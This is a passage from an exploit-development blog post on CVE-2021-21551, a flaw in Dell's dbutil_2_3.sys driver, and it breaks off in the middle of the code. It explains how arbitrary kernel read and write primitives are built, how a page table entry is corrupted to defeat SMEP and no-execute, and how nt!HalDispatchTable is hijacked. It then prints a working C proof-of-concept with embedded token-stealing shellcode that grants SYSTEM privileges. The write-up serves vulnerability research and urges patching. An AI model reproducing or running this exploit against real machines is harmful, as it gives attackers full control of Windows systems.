whatever we pass to the target buffer, which in this case is any address we
want to corrupt.

What if, however, there was a way to do this _in reverse_? What if, in place
of the kernel mode address that points to ` 0x4343434343434343 ` we could just
supply _our own_ memory address, instead of the driver creating a pointer to
it, identically to how we control the target address we want to move memory
to.

This means, instead of having something like this for the target address:

[code]

    ffffc605`24e82998	43434343`43434343
    
[/code]

What if we could just pass our own data as such:

[code]

    43434343`43434343	DATA
    
[/code]

Where ` 0x4343434343434343 ` is a value we supply, instead of having the
kernel create a pointer to it for us. That way, when ` memmove ` interprets
this address, it will interpret it as a pointer. This means that if we supply
a memory address, whatever that memory address points to \(e.g. `
nt!MiGetPteAddress+0x13 ` when dereferenced\) is copied to the target buffer\!

This could go one of two ways potentially: option one would be that we could
copy this data into _our own_ pointer in C. However, since we see that none of
our user-mode addresses are making it to the driver, and the driver is taking
our buffer and placing it in kernel mode before leveraging it, the better
option, perhaps, would be to supply an output buffer to ` DeviceIoControl `
and see if the ` memmmove ` data writes it to the output buffer.

The latter option makes sense as this IOCTL allows any client to supply a
buffer and have it copied. This driver most likely isn’t expecting
unauthorized clients to this IOCTL, meaning the input and output buffers are
most likely being used by other kernel mode components/legitimate user-mode
clients that need an easy way to pass and receive data. Because of this, it is
more than likely it is _expected_ behavior for the output buffer to contain `
memmove ` data. The problem is we need to find another ` memmove ` routine
that allows us to essentially to the inverse of what we did with the arbitrary
write primitive.

Talking to a peer of mine, VoidSec about my thought process, he pointed me
towards Metasploit, which already has this concept outlined in their POC.

Doing a bit more of reverse engineering, we can see that there is more than
one way to reach the arbitrary write ` memmove ` routine.

<img src='img/Temp2_2847.png' width='960' height='465' />

Looking into the ` sub_15294 `, we can see that this is the same ` memmove `
routine leveraged before.

<img src='img/Temp2_2870.png' width='536' height='775' />

However, since there is _another_ IOCTL routine that invokes this ` memmove `
routine, this is a prime candidate to see if anything about this routine is
different \(e.g. why create another routine to do the same thing twice?
Perhaps this routine is used for something else, like reading memory or
copying memory in a different way\). Additionally, recall when we performed an
arbitrary write, the routines were indexing our buffer at ` 0x8 ` and ` 0x18
`. This could mean that the call to ` memmove `, via the new IOCTL, could
setup our buffer in a way that the buffer is indexed at a different offset,
meaning we may be able to achieve an arbitrary read.

It is possible to reach this routine through the IOCTL ` 0x9B0C1EC4 `.

<img src='img/Temp2_2888.png' width='252' height='647' />

Let’s update our POC to attempt to trigger the new IOCTL and see if anything
is returned in the output buffer. Essentially, we will set the second value,
similar to last time, of our QWORD array to the value we want to interact
with, in this case, read, and set everything else to ` 0 `. Then, we will
reuse the same array of QWORDS as an output buffer and see if anything was
written to the buffer.

<img src='img/Temp2_2901.png' width='485' height='100' />

<img src='img/Temp2_2897.png' width='654' height='577' />

<img src='img/Temp2_2824.png' width='698' height='548' />

We can use IDA to identify the proper offset within the driver that the ` cmp
eax, 0x9B0C1EC4 ` lands on, which is ` sub_11170+75 `.

<img src='img/Temp2_2873.png' width='816' height='514' />

<img src='img/Temp2_2859.png' width='956' height='125' />

We know that the first IOCTL code we will hit is the arbitrary write IOCTL, so
we can pass over the first compare and then hit the second.

<img src='img/Temp2_2900.png' width='957' height='168' />

We then can see execution reaches the function housing the ` memmove `
routine, ` sub_15294 `.

<img src='img/Temp2_2896.png' width='955' height='715' />

After stepping through a few instruction, we can see our input buffer for the
read primitive is being propagated and setup for the future call to ` memmove
`.

<img src='img/Temp2_2902.png' width='956' height='743' />

Then, the first part of the buffer is moved into RAX.

<img src='img/Temp2_2834.png' width='958' height='452' />

Then, the target address we would like to dereference and read from is loaded
into RAX.

<img src='img/Temp2_2866.png' width='954' height='453' />

Then, the target address of ` KUSER_SHARED_DATA ` is loaded into RCX and then,
as we can see, it will be loaded into RDX. This is great for us, as it means
the 2nd argument for a function call on 64-bit systems on Windows is loaded
into RDX. Since ` memmove ` accepts a pointer to a memory address, this means
that this address will be the address that is dereferenced and then has its
memory copied into a target buffer \(which hopefully is returned in the output
buffer parameter of ` DeviceIoControl `\).

<img src='img/dell46.png' width='960' height='313' />

<img src='img/Temp2_2869.png' width='955' height='141' />

Recall in our arbitrary write routine that the second parameter, `
4343434343434343 ` was pointed to by a kernel mode address. Look at the above
image and see now that we control the address \(` 0xFFFFF78000000000 `\), but
this time this address will be dereferenced and whatever this address points
to will be written to the buffer pointed to by RCX. Since in our last routine
we controlled both arguments to ` memmove `, we can expect that, although the
value in RCX is in kernel mode, it will be bubbled back up into user mode and
will be placed in our output buffer\! We can see just before the return from `
memmove `, the return value is the buffer in which the data was copied into,
and we can see the buffer contains ` 0x0fa0000000000000 `\! Looking in the
debugger, this is the value ` KUSER_SHARED_DATA ` points to.

<img src='img/Temp2_2891.png' width='955' height='520' />

<img src='img/Temp2_2898.png' width='956' height='293' />

We really don’t need to do any more debugging/reverse engineering as we know
that we completely control these arguments, based on our write primitive.
Pressing ` g ` in the debugger, we can see that in our POC console, we have
successfully performed an arbitrary read\!

<img src='img/Temp2_2860.png' width='550' height='100' />

We indexed each array element of the QWORD array we sent, per our code, and we
can see the last element will contain the dereferenced contents of the value
we would like to read from\! Now that we have a vanilla 1 QWORD arbitrary
read/write primitive, we can now get into out exploitation path.

## Why Perform a Data-Only Attack When You Can Corrupt All Of The Memory and
Deal With All of the Mitigations? Let’s Have Some Fun And Make Life
Artificially Harder On Ourselves\!

First, please note I have more in-depth posts on leveraging page table entries
and memory paging for kernel exploitation found here and here.

Our goal with this exploitation path will be the following:

  1. Write our shellcode somewhere that is writable in the driver’s virtual address space
  2. Locate the base of the page table entries
  3. Calculate where the page table entry for the memory page where our shellcode lives
  4. Corrupt the page table entry to make the shellcode page RWX, circumventing SMEP and bypassing kernel no-eXecute \(DEP\)
  5. Overwrite ` nt!HalDispatchTable+0x8 ` and circumvent kCFG \(kernel Control-Flow Guard\) \(Note that if kCFG was _fully_ enabled, then VBS/HVCI would then be enabled - rendering this technique useless. kCFG does still have some functionality, even when VBS/HVCI is disabled, like performing bitwise tests to ensure user mode addresses aren’t called from kernel mode. This simply just “circumvents” kCFG by calling a pointer to our shellcode, which exists in kernel mode from the first step\).

First we need to find a place in kernel mode that we can write our shellcode
to. ` KUSER_SHARED_DATA ` is a perfectly fine solution, but there is also a
good candidate within the driver itself, located in its ` .data ` section,
which is already writable.

<img src='img/Temp2_2848.png' width='956' height='765' />

<img src='img/Temp2_2831.png' width='956' height='609' />

We can see that from the above image, we have _a ton_ of room to work with, in
terms of kernel mode writable memory. Our shellcode is approximately 9 QWORDS,
so we will have more than enough room to place our shellcode here.

We will start our shellcode out at ` .data+0x10 `. Since we know where the
shellcode will go, and since we know it resides in the ` dbutil_2_3.sys `
driver, we need to add a routine to our exploit that can retrieve the load
address of the kernel, for PTE indexing calculations, and the base address of
the driver.

<img src='img/Temp2_2864.png' width='680' height='755' />

<img src='img/Temp2_2845.png' width='485' height='152' />

Note that this assumes the process invoking this exploit is that of medium
integrity.

The next step, since we know where we want to write to is at an offset of `
0x3000 ` \(offset to ` .data. `\) + ` 0x10 ` \(offset to code cave\) from the
base address of ` dbutil_2_3.sys `, is to locate the page table entry for this
memory address, which already is a kernel-mode page and is writable \(you
could use ` KUSER_SHARED_DATA+0x800 `\). In order to perform the calculations
to locate the page table entry, we first need to bypass page table
randomization, a mitigation of Windows 10 after 1607.

This is because we need the base of the page table entries in order to locate
the PTE for a specific page in memory \(the page table entries are an array of
virtual addresses in this case\). The Windows API function `
nt!MiGetPteAddress `, at an offset of ` 0x13 `, contains, dynamically, the
base of the page table entries as this kernel mode function is leveraged to
find the base of the page table entries.

Let’s use our read primitive to locate the base of the page table entries
\(note that I used a static offset from the base of the kernel to `
nt!MiGetPteAddress `, mostly because I am focused on the exploitation phase of
this CVE, and not making this exploit portable. You’ll need to update this
based on your patch level\).

<img src='img/Temp2_2877.png' width='861' height='626' />

<img src='img/Temp2_2861.png' width='517' height='230' />

Here we can see we obtain the initial handle to the driver, create a buffer
based on our read primitive, send it to the driver, and obtain the base of the
page table entries. Then, we programmatically can replicate what `
nt!MiGetPteAddress ` does in order to fetch the correct page table entry in
the array for the page we will be writing our shellcode to.

<img src='img/Temp2_2836.png' width='959' height='62' />

<img src='img/Temp2_2854.png' width='736' height='98' />

Now that we have calculated the page table entry for where our shellcode will
be written to, let’s now dereference it in order to preserve what the PTE bits
contain, in terms of permissions, so we can modify this value later

<img src='img/Temp2_2886.png' width='654' height='645' />

<img src='img/Temp2_2885.png' width='730' height='112' />

Checking in WinDbg, we can also see this is the case\!

<img src='img/Temp2_2851.png' width='564' height='71' />

Now that we have the virtual address for our page table entry and we have
extracted the current bits that comprise the entry, let’s write our shellcode
to ` .data+0x10 ` \(` dbutil_2_3+0x3010 `\).

<img src='img/Temp2_2858.png' width='591' height='597' />

<img src='img/Temp2_2844.png' width='467' height='666' />

<img src='img/Temp2_2867.png' width='476' height='631' />

<img src='img/Temp2_2841.png' width='391' height='630' />

<img src='img/Temp2_2862.png' width='460' height='690' />

<img src='img/Temp2_2823.png' width='463' height='692' />

<img src='img/Temp2_2828.png' width='932' height='330' />

After execution of the updated POC, we can clearly see that the arbitrary
write routines worked, and our shellcode is located in kernel mode\!

<img src='img/Temp2_2878.png' width='954' height='470' />

Perfect\! Now that we have our shellcode in kernel mode, we need to make it
executable. After all, the ` .data ` section of a PE or driver is read/write.
We need to make this an executable region of memory. Since we have the PTE
bits already stored, we can update our page table entry bits, stored in our
exploit, to contain the bits with the no-eXecute bit cleared, and leverage our
arbitrary write primitive to corrupt the page table entry and make it
read/write/execute \(RWX\)\!

<img src='img/Temp2_2856.png' width='958' height='708' />

<img src='img/Temp2_2837.png' width='952' height='111' />

Perfect\! Now that we have made our memory region executable, we need to
overwrite the pointer to ` nt!HalDispatchTable+0x8 ` with this memory address.
Then, when we invoke ` ntdll!NtQueryIntervalProfile ` from user mode, which
will trigger a call to this QWORD\! However, before overwriting `
nt!HalDispatchTable+0x8 `, let’s first use our read primitive to preserve the
current pointer, so we can put it back after executing our shellcode to ensure
system stability, as the Hardware Abstraction Layer is very important on
Windows and the dispatch table is referenced regularly.

<img src='img/Temp2_2852.png' width='770' height='707' />

After preserving the pointer located at ` nt!HalDispatchTable+0x8 ` we can use
our write primitive to overwrite ` nt!HalDispatchTable+0x8 ` with a pointer to
our shellcode, which resides in kernel mode memory\!

<img src='img/Temp2_2872.png' width='681' height='614' />

Perfect\! At this point, if we invoke ` nt!HalDispatchTable+0x8 `’s pointer,
we will be calling our shellcode\! The last step here, besides restoring
everything, is to resolve ` ntdll!NtQueryIntervalProfile `, which eventually
performs a call to ` [nt!HalDispatchTable+0x8] `.

<img src='img/Temp2_2853.png' width='697' height='167' />

<img src='img/Temp2_2842.png' width='707' height='411' />

Then, we can finish up our exploit by adding in the restoration routine to
restore ` nt!HalDispatchTable+0x8 `.

<img src='img/Temp2_2882.png' width='684' height='689' />

Let’s set a breakpoint on ` nt!NtQueryIntervalProfile `, which will be called,
even though the call originates from ` ntdll.dll `.

<img src='img/Temp2_2850.png' width='953' height='506' />

After hitting the breakpoint, let’s continue to step through the function
until we hit the ` call nt!KeQueryIntervalProfile ` function call, and let’s
use ` t ` to step into it.

<img src='img/Temp2_2890.png' width='955' height='481' />

Stepping through approximately 9 instructions inside of `
ntKeQueryIntervalProfile `, we can see that we are not directly calling `
[nt!HalDispatchTable+0x8] `, but we are calling ` nt!guard_dispatch_icall `.
This is part of kCFG, or kernel Control-Flow Guard, which validates indirect
function calls \(e.g. calling a function pointer\).

<img src='img/Temp2_2835.png' width='960' height='432' />

Clearly, as we can see, the value of ` [nt!HalDispatchTable+0x8] ` is pointing
to our shellcode, meaning that kCFG _should_ block this. However, kCFG
actually requires Virtualization-Based Security \(VBS\) to be fully
implemented. We can see though that kCFG has _some_ functionality in kernel
mode, even if it isn’t implemented full scale. The routines still exist in the
kernel, which would normally check a bitmap of all indirect function calls and
determine if the value that is about to be placed into RAX in the above image
is a “valid target”, meaning at compile time, when the bitmap was created, did
the address exist and is it apart of any valid control-flow transfer.

However, since VBS is not mainstream yet, requires specific hardware, and
because this exploit is being developed in a virtual machine, we can disregard
the VBS side for now \(note that this is why mitigations like
VBS/HVCI/HyperGuard/etc. are important, as they do a great job of thwarting
these types of memory corruption vulnerabilities\).

Stepping through the call to ` nt!guard_dispatch_icall `, we can actually see
that all this routine does essentially, since VBS isn’t enabled, is bitwise
test the target address in RAX to confirm it isn’t a user-mode address
\(basically it checks to see if it is sign-extended\). If it is a user-mode
address, you’ll actually get a bug check and BSOD. This is why I opted to keep
our shellcode in kernel mode, so we can pass this bitwise test\!

<img src='img/Temp2_2825.png' width='960' height='469' />

Then, after stepping through everything, we can see now that control-flow
transfer has been handed off to our shellcode.

<img src='img/dell81.png' width='960' height='820' />

<img src='img/Temp2_2846.png' width='960' height='443' />

From here, we can see we have successfully obtained ` NT AUTHORITY\SYSTEM `
privileges\!

<img src='img/dellgif.gif' width='960' height='441' />

## “When Napoleon lay at Boulogne for a year with his flat-bottom boats and
his Grand Army, he was told by someone ‘There are bitter weeds in
VBS/HVCI/kCFG’”

Although this exploit was arduous to create, we can clearly see why data-only
attacks, such as the ` _SEP_TOKEN_PRIVILEGES ` method outlined by Kasif are
optimal. They bypass pretty much any memory corruption related mitigation.

Note that VBS/HVCI actually creates an additional security boundary for us.
Page table entries, when VBS is enabled, are actually managed by a higher
security boundary, virtual trust level 1 - which is the secure kernel. This
means it is not possible to perform PTE manipulation as we did. Additionally,
even if this were possible, HVCI is essentially Arbitrary Code Guard \(ACG\)
in the kernel - meaning that it also isn’t possible to manipulate the
permissions of memory as we did. These two mitigations would also allow kCFG
to be fully implemented, meaning our control-flow transfer would have also
failed.

The advisory and patch for this vulnerability can be found here\! Please patch
your systems or simply remove the driver.

Thank you again to Kasif for this original research\! This was certainly a fun
exercise :-\). Until next time - peace, love, and positivity :-\).

Here is the final POC, which can be found on my GitHub:

[code]

    // CVE-2021-21551: Dell 'dbutil_2_3.sys' Memory Corruption
    // Original research: https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
    // Author: Connor McGarr (@33y0re)
    
    #include <stdio.h>
    #include <Windows.h>
    #include <Psapi.h>
    
    // Vulnerable IOCTL
    #define IOCTL_WRITE_CODE 0x9B0C1EC8
    #define IOCTL_READ_CODE 0x9B0C1EC4
    
    // Prepping call to nt!NtQueryIntervalProfile
    typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
    
    // Obtain the kernel base and driver base
    unsigned long long kernelBase(char name[])
    {
    	// Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parameters
    	LPVOID lpImageBase[1024];
    	DWORD lpcbNeeded;
    	int drivers;
    	char lpFileName[1024];
    	unsigned long long imageBase;
    
    	BOOL baseofDrivers = EnumDeviceDrivers(
    		lpImageBase,
    		sizeof(lpImageBase),
    		&lpcbNeeded
    	);
    
    	// Error handling
    	if (!baseofDrivers)
    	{
    		printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
    		exit(1);
    	}
    
    	// Defining number of drivers for GetDeviceDriverBaseNameA()
    	drivers = lpcbNeeded / sizeof(lpImageBase[0]);
    
    	// Parsing loaded drivers
    	for (int i = 0; i < drivers; i++)
    	{
    		GetDeviceDriverBaseNameA(
    			lpImageBase[i],
    			lpFileName,
    			sizeof(lpFileName) / sizeof(char)
    		);
    
    		// Keep looping, until found, to find user supplied driver base address
    		if (!strcmp(name, lpFileName))
    		{
    			imageBase = (unsigned long long)lpImageBase[i];
    
    			// Exit loop
    			break;
    		}
    	}
    
    	return imageBase;
    }
    
    
    void exploitWork(void)
    {
    	// Store the base of the kernel
    	unsigned long long baseofKernel = kernelBase("ntoskrnl.exe");
    
    	// Storing the base of the driver
    	unsigned long long driverBase = kernelBase("dbutil_2_3.sys");
    
    	// Print updates
    	printf("[+] Base address of ntoskrnl.exe: 0x%llx\n", baseofKernel);
    	printf("[+] Base address of dbutil_2_3.sys: 0x%llx\n", driverBase);
    
    	// Store nt!MiGetPteAddress+0x13
    	unsigned long long ntmigetpteAddress = baseofKernel + 0xbafbb;
    
    	// Obtain a handle to the driver
    	HANDLE driverHandle = CreateFileA(
    		"\\\\.\\DBUtil_2_3",
    		FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    		0x0,
    		NULL,
    		OPEN_EXISTING,
    		0x0,
    		NULL
    	);
    
    	// Error handling
    	if (driverHandle == INVALID_HANDLE_VALUE)
    	{
    		printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError());
    		exit(-1);
    	}
    	else
    	{
    		printf("[+] Successfully obtained a handle to the driver. Handle value: 0x%llx\n", (unsigned long long)driverHandle);
    
    		// Buffer to send to the driver (read primitive)
    		unsigned long long inBuf1[4];
    
    		// Values to send
    		unsigned long long one1 = 0x4141414141414141;
    		unsigned long long two1 = ntmigetpteAddress;
    		unsigned long long three1 = 0x0000000000000000;
    		unsigned long long four1 = 0x0000000000000000;
    
    		// Assign the values
    		inBuf1[0] = one1;
    		inBuf1[1] = two1;
    		inBuf1[2] = three1;
    		inBuf1[3] = four1;
    
    		// Interact with the driver
    		DWORD bytesReturned1 = 0;
    
    		BOOL interact = DeviceIoControl(
    			driverHandle,
    			IOCTL_READ_CODE,
    			&inBuf1,
    			sizeof(inBuf1),
    			&inBuf1,
    			sizeof(inBuf1),
    			&bytesReturned1,
    			NULL
    		);
    
    		// Error handling
    		if (!interact)
    		{
    			printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
    			exit(-1);
    		}
    		else
    		{
    			// Last member of read array should contain base of the PTEs
    			unsigned long long pteBase = inBuf1[3];
    
    			printf("[+] Base of the PTEs: 0x%llx\n", pteBase);
    
    			// .data section of dbutil_2_3.sys contains a code cave
    			unsigned long long shellcodeLocation = driverBase + 0x3010;
    
    			// Bitwise operations to locate PTE of shellcode page
    			unsigned long long shellcodePte = (unsigned long long)shellcodeLocation >> 9;
    			shellcodePte = shellcodePte & 0x7FFFFFFFF8;
    			shellcodePte = shellcodePte + pteBase;
    
    			// Print update
    			printf("[+] PTE of the .data page the shellcode is located at in dbutil_2_3.sys: 0x%llx\n", shellcodePte);
    
    			// Buffer to send to the driver (read primitive)
    			unsigned long long inBuf2[4];
    
    			// Values to send
    			unsigned long long one2 = 0x4141414141414141;
    			unsigned long long two2 = shellcodePte;
    			unsigned long long three2 = 0x0000000000000000;
    			unsigned long long four2 = 0x0000000000000000;
    
    			inBuf2[0] = one2;
    			inBuf2[1] = two2;
    			inBuf2[2] = three2;
    			inBuf2[3] = four2;
    
    			// Parameter for DeviceIoControl
    			DWORD bytesReturned2 = 0;
    
    			BOOL interact1 = DeviceIoControl(
    				driverHandle,
    				IOCTL_READ_CODE,
    				&inBuf2,
    				sizeof(inBuf2),
    				&inBuf2,
    				sizeof(inBuf2),
    				&bytesReturned2,
    				NULL
    			);
    
    			// Error handling
    			if (!interact1)
    			{
    				printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
    				exit(-1);
    			}
    			else
    			{
    				// Last member of read array should contain PTE bits
    				unsigned long long pteBits = inBuf2[3];
    
    				printf("[+] PTE bits for the shellcode page: %p\n", pteBits);
    
    				/*
    					; Windows 10 1903 x64 Token Stealing Payload
    					; Author Connor McGarr
    
    					[BITS 64]
    
    					_start:
    						mov rax, [gs:0x188]		  ; Current thread (_KTHREAD)
    						mov rax, [rax + 0xb8]	  ; Current process (_EPROCESS)
    						mov rbx, rax			  ; Copy current process (_EPROCESS) to rbx
    					__loop:
    						mov rbx, [rbx + 0x2f0] 	  ; ActiveProcessLinks
    						sub rbx, 0x2f0		   	  ; Go back to current process (_EPROCESS)
    						mov rcx, [rbx + 0x2e8] 	  ; UniqueProcessId (PID)
    						cmp rcx, 4 				  ; Compare PID to SYSTEM PID
    						jnz __loop			      ; Loop until SYSTEM PID is found
    
    						mov rcx, [rbx + 0x360]	  ; SYSTEM token is @ offset _EPROCESS + 0x360
    						and cl, 0xf0			  ; Clear out _EX_FAST_REF RefCnt
    						mov [rax + 0x360], rcx	  ; Copy SYSTEM token to current process
    
    						xor rax, rax			  ; set NTSTATUS STATUS_SUCCESS
    						ret						  ; Done!
    
    				*/
    
    				// One QWORD arbitrary write
    				// Shellcode is 67 bytes (67/8 = 9 unsigned long longs)
    				unsigned long long shellcode1 = 0x00018825048B4865;
    				unsigned long long shellcode2 = 0x000000B8808B4800;
    				unsigned long long shellcode3 = 0x02F09B8B48C38948;
    				unsigned long long shellcode4 = 0x0002F0EB81480000;
    				unsigned long long shellcode5 = 0x000002E88B8B4800;
    				unsigned long long shellcode6 = 0x8B48E57504F98348;
    				unsigned long long shellcode7 = 0xF0E180000003608B;
    				unsigned long long shellcode8 = 0x4800000360888948;
    				unsigned long long shellcode9 = 0x0000000000C3C031;
    
    				// Buffers to send to the driver (write primitive)
    				unsigned long long inBuf3[4];
    				unsigned long long inBuf4[4];
    				unsigned long long inBuf5[4];
    				unsigned long long inBuf6[4];
    				unsigned long long inBuf7[4];
    				unsigned long long inBuf8[4];
    				unsigned long long inBuf9[4];
    				unsigned long long inBuf10[4];
    				unsigned long long inBuf11[4];
    
    				// Values to send
    				unsigned long long one3 = 0x4141414141414141;
    				unsigned long long two3 = shellcodeLocation;
    				unsigned long long three3 = 0x0000000000000000;
    				unsigned long long four3 = shellcode1;
    
    				unsigned long long one4 = 0x4141414141414141;
    				unsigned long long two4 = shellcodeLocation + 0x8;
    				unsigned long long three4 = 0x0000000000000000;
    				unsigned long long four4 = shellcode2;
    
    				unsigned long long one5 = 0x4141414141414141;
    				unsigned long long two5 = shellcodeLocation + 0x10;
    				unsigned long long three5 = 0x0000000000000000;
    				unsigned long long four5 = shellcode3;
    
    				unsigned long long one6 = 0x4141414141414141;
    				unsigned long long two6 = shellcodeLocation + 0x18;
    				unsigned long long three6 = 0x0000000000000000;
    				unsigned long long four6 = shellcode4;
    
    				unsigned long long one7 = 0x4141414141414141;
    				unsigned long long two7 = shellcodeLocation + 0x20;
    				unsigned long long three7 = 0x0000000000000000;
    				unsigned long long four7 = shellcode5;
    
    				unsigned long long one8 = 0x4141414141414141;
    				unsigned long long two8 = shellcodeLocation + 0x28;
    				unsigned long long three8 = 0x0000000000000000;
    				unsigned long long four8 = shellcode6;
    
    				unsigned long long one9 = 0x4141414141414141;
    				unsigned long long two9 = shellcodeLocation + 0x30;
    				unsigned long long three9 = 0x0000000000000000;
    				unsigned long long four9 = shellcode7;
    
    				unsigned long long one10 = 0x4141414141414141;
    				unsigned long long two10 = shellcodeLocation + 0x38;
    				unsigned long long three10 = 0x0000000000000000;
    				unsigned long long four10 = shellcode8;
    
    				unsigned long long one11 = 0x4141414141414141;
    				unsigned long long two11 = shellcodeLocation + 0x40;
    				unsigned long long three11 = 0x0000000000000000;
    				unsigned long long four11 = shellcode9;
    
    				inBuf3[0] = one3;
    				inBuf3[1] = two3;
    				inBuf3[2] = three3;
    				inBuf3[3] = four3;
    
    				inBuf4[0] = one4;
    				inBuf4[1] = two4;
    				inBuf4[2] = three4;
    				inBuf4[3] = four4;
    
    				inBuf5[0] = one5;
    				inBuf5[1] = two5;
    				inBuf5[2] = three5;
    				inBuf5[3] = four5;
    
    				inBuf6[0] = one6;
    				inBuf6[1] = two6;
    				inBuf6[2] = three6;
    				inBuf6[3] = four6;
    
    				inBuf7[0] = one7;
    				inBuf7[1] = two7;
    				inBuf7[2] = three7;
    				inBuf7[3] = four7;
    
    				inBuf8[0] = one8;
    				inBuf8[1] = two8;
    				inBuf8[2] = three8;
    				inBuf8[3] = four8;
    
    				inBuf9[0] = one9;
    				inBuf9[1] = two9;
    				inBuf9[2] = three9;
    				inBuf9[3] = four9;
    
    				inBuf10[0] = one10;
    				inBuf10[1] = two10;
    				inBuf10[2] = three10;
    				inBuf10[3] = four10;
    
    				inBuf11[0] = one11;
    				inBuf11[1] = two11;
    				inBuf11[2] = three11;
    				inBuf11[3] = four11;
    
    				DWORD bytesReturned3 = 0;
    				DWORD bytesReturned4 = 0;
    				DWORD bytesReturned5 = 0;
    				DWORD bytesReturned6 = 0;
    				DWORD bytesReturned7 = 0;
    				DWORD bytesReturned8 = 0;
    				DWORD bytesReturned9 = 0;
    				DWORD bytesReturned10 = 0;
    				DWORD bytesReturned11 = 0;
    
    				BOOL interact2 = DeviceIoControl(
    					driverHandle,
    					IOCTL_WRITE_CODE,
    					&inBuf3,
    					sizeof(inBuf3),
    					&inBuf3,
    					sizeof(inBuf3),
    					&bytesReturned3,
    					NULL
    				);
    
    				BOOL interact3 = DeviceIoControl(
    					driverHandle,
    					IOCTL_WRITE_CODE,
    					&inBuf4,
    					sizeof(inBuf4),
    					&inBuf4,
    					sizeof(inBuf4),
    					&bytesReturned4,
    					NULL
    				);
    
    				BOOL interact4 = DeviceIoControl(
    					driverHandle,
    					IOCTL_WRITE_CODE,
    					&inBuf5,
    					sizeof(inBuf5),
    					&inBuf5,
    					sizeof(inBuf5),
    					&bytesReturned5,
    					NULL
    				);
    
    				BOOL interact5 = DeviceIoControl(
    					driverHandle,
    					IOCTL_WRITE_CODE,
    					&inBuf6,
    					sizeof(inBuf6),
    					&inBuf6,
    					sizeof(inBuf6),
    					&bytesReturned6,
    					NULL
    				);
    
    				BOOL interact6 = DeviceIoControl(
    					driverHandle,
    					IOCTL_WRITE_CODE,
    					&inBuf7,
    					sizeof(inBuf7),
    					&inBuf7,
    					sizeof(inBuf7),
    					&bytesReturned7,
    					NULL
    				);
    
    				BOOL interact7 = DeviceIoControl(
    					driverHandle,
    					IOCTL_WRITE_CODE,
    					&inBuf8,
    					sizeof(inBuf8),
    					&inBuf8,
    					sizeof(inBuf8),
    					&bytesReturned8,
    					NULL
    				);
    
    				BOOL interact8 = DeviceIoControl(
    					driverHandle,
    					IOCTL_WRITE_CODE,
    					&inBuf9,
    					sizeof(inBuf9),
    					&inBuf9,
    					sizeof(inBuf9),
    					&bytesReturned9,
    					NULL
    				);
    
    				BOOL interact9 = DeviceIoControl(
    					driverHandle,
    					IOCTL_WRITE_CODE,
    					&inBuf10,
    					sizeof(inBuf10),
    					&inBuf10,
    					sizeof(inBuf10),
    					&bytesReturned10,
    					NULL
    				);
    
    				BOOL interact10 = DeviceIoControl(
    					driverHandle,
    					IOCTL_WRITE_CODE,
    					&inBuf11,
    					sizeof(inBuf11),
    					&inBuf11,
    					sizeof(inBuf11),
    					&bytesReturned11,
    					NULL
    				);
    
    				// A lot of error handling
    				if (!interact2 || !interact3 || !interact4 || !interact5 || !interact6 || !interact7 || !interact8 || !interact9 || !interact10)
    				{
    					printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
    					exit(-1);
    				}
    				else
    				{
    					printf("[+] Successfully wrote the shellcode to the .data section of dbutil_2_3.sys at address: 0x%llx\n", shellcodeLocation);
    
    					// Clear the no-eXecute bit
    					unsigned long long taintedPte = pteBits & 0x0FFFFFFFFFFFFFFF;
    
    					printf("[+] Corrupted PTE bits for the shellcode page: %p\n", taintedPte);
    
    					// Clear the no-eXecute bit in the actual PTE
    					// Buffer to send to the driver (write primitive)
    					unsigned long long inBuf13[4];
    
    					// Values to send
    					unsigned long long one13 = 0x4141414141414141;
    					unsigned long long two13 = shellcodePte;
    					unsigned long long three13 = 0x0000000000000000;
    					unsigned long long four13 = taintedPte;
    
    					// Assign the values
    					inBuf13[0] = one13;
    					inBuf13[1] = two13;
    					inBuf13[2] = three13;
    					inBuf13[3] = four13;
    
    
    					// Interact with the driver
    					DWORD bytesReturned13 = 0;
    
    					BOOL interact12 = DeviceIoControl(
    						driverHandle,
    						IOCTL_WRITE_CODE,
    						&inBuf13,
    						sizeof(inBuf13),
    						&inBuf13,
    						sizeof(inBuf13),
    						&bytesReturned13,
    						NULL
    					);
    
    					// Error handling
    					if (!interact12)
    					{
    						printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
    					}
    					else
    					{
    						printf("[+] Successfully corrupted the PTE of the shellcode page! The kernel mode page holding the shellcode should now be RWX!\n");
    
    						// Offset to nt!HalDispatchTable+0x8
    						unsigned long long halDispatch = baseofKernel + 0x427258;
    
    						// Use arbitrary read primitive to preserve nt!HalDispatchTable+0x8
    						// Buffer to send to the driver (write primitive)
    						unsigned long long inBuf14[4];
    
    						// Values to send
    						unsigned long long one14 = 0x4141414141414141;
    						unsigned long long two14 = halDispatch;
    						unsigned long long three14 = 0x0000000000000000;
    						unsigned long long four14 = 0x0000000000000000;
    
    						// Assign the values
    						inBuf14[0] = one14;
    						inBuf14[1] = two14;
    						inBuf14[2] = three14;
    						inBuf14[3] = four14;
    
    						// Interact with the driver
    						DWORD bytesReturned14 = 0;
    
    						BOOL interact13 = DeviceIoControl(
    							driverHandle,
    							IOCTL_READ_CODE,
    							&inBuf14,
    							sizeof(inBuf14),
    							&inBuf14,
    							sizeof(inBuf14),
    							&bytesReturned14,
    							NULL
    						);
    
    						// Error handling
    						if (!interact13)
    						{
    							printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
    						}
    						else
    						{
    							// Last member of read array should contain preserved nt!HalDispatchTable+0x8 value
    							unsigned long long preservedHal = inBuf14[3];
    
    							printf("[+] Preserved nt!HalDispatchTable+0x8 value: 0x%llx\n", preservedHal);
    
    							// Leveraging arbitrary write primitive to overwrite nt!HalDispatchTable+0x8
    							// Buffer to send to the driver (write primitive)
    							unsigned long long inBuf15[4];
    
    							// Values to send
    							unsigned long long one15 = 0x4141414141414141;
    							unsigned long long two15 = halDispatch;
    							unsigned long long three15 = 0x0000000000000000;
    							unsigned long long four15 = shellcodeLocation;
    
    							// Assign the values
